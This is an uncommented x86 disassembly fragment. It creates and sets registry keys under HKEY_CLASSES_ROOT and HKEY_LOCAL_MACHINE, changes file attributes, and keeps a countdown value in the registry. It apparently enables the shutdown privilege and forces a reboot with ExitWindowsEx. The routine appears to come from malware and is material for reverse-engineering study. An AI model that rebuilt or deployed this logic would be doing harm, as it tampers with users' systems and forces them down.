push 0x41011c
push 1
push 0
push 0x41011c
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
jmp 0x405aff
push esi
push 0x4100e0
push 0x80000000
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405b0b
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
push 0
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push 5
push 0x41004b
push 1
push 0
push 0x410050
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
push esi
push 0x410060
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x405b0b
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x21
lea eax, [esp + 0x156c]
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
push 0x3e8
call sub.KERNEL32.DLL_Sleep
dec dword [esp + 0x34]
jns 0x4057fa
push 0
lea eax, [esp + 0x48]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x410240
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x40552e
mov dword [esp + 0x40], 4
lea eax, [esp + 0x40]
push eax
lea ebx, [esp + 0x40]
push ebx
push 0
push 0
push 0x410183
push dword [esp + 0x58]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x405bea
mov eax, dword [esp + 0x3c]
dec eax
test eax, eax
mov dword [esp + 0x3c], eax
je 0x405ba5
push 4
push ebx
push 4
push 0
push 0x410183
push dword [esp + 0x58]
call sub.ADVAPI32.DLL_RegSetValueExA
jmp 0x405bea
push 0x410183
push dword [esp + 0x48]
call sub.ADVAPI32.DLL_RegDeleteValueA
push 0x1388
call sub.KERNEL32.DLL_Sleep
cmp dword [0x412100], 2
jne 0x405be1
lea eax, [esp + 0x3b]
push eax
push 0
push 1
push 0x13
call dword [0x412250]
push 1
call dword [0x412240]
jmp 0x405bea
push 0
push 6
call sub.USER32.dll_ExitWindowsEx
push dword [esp + 0x44]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x40552e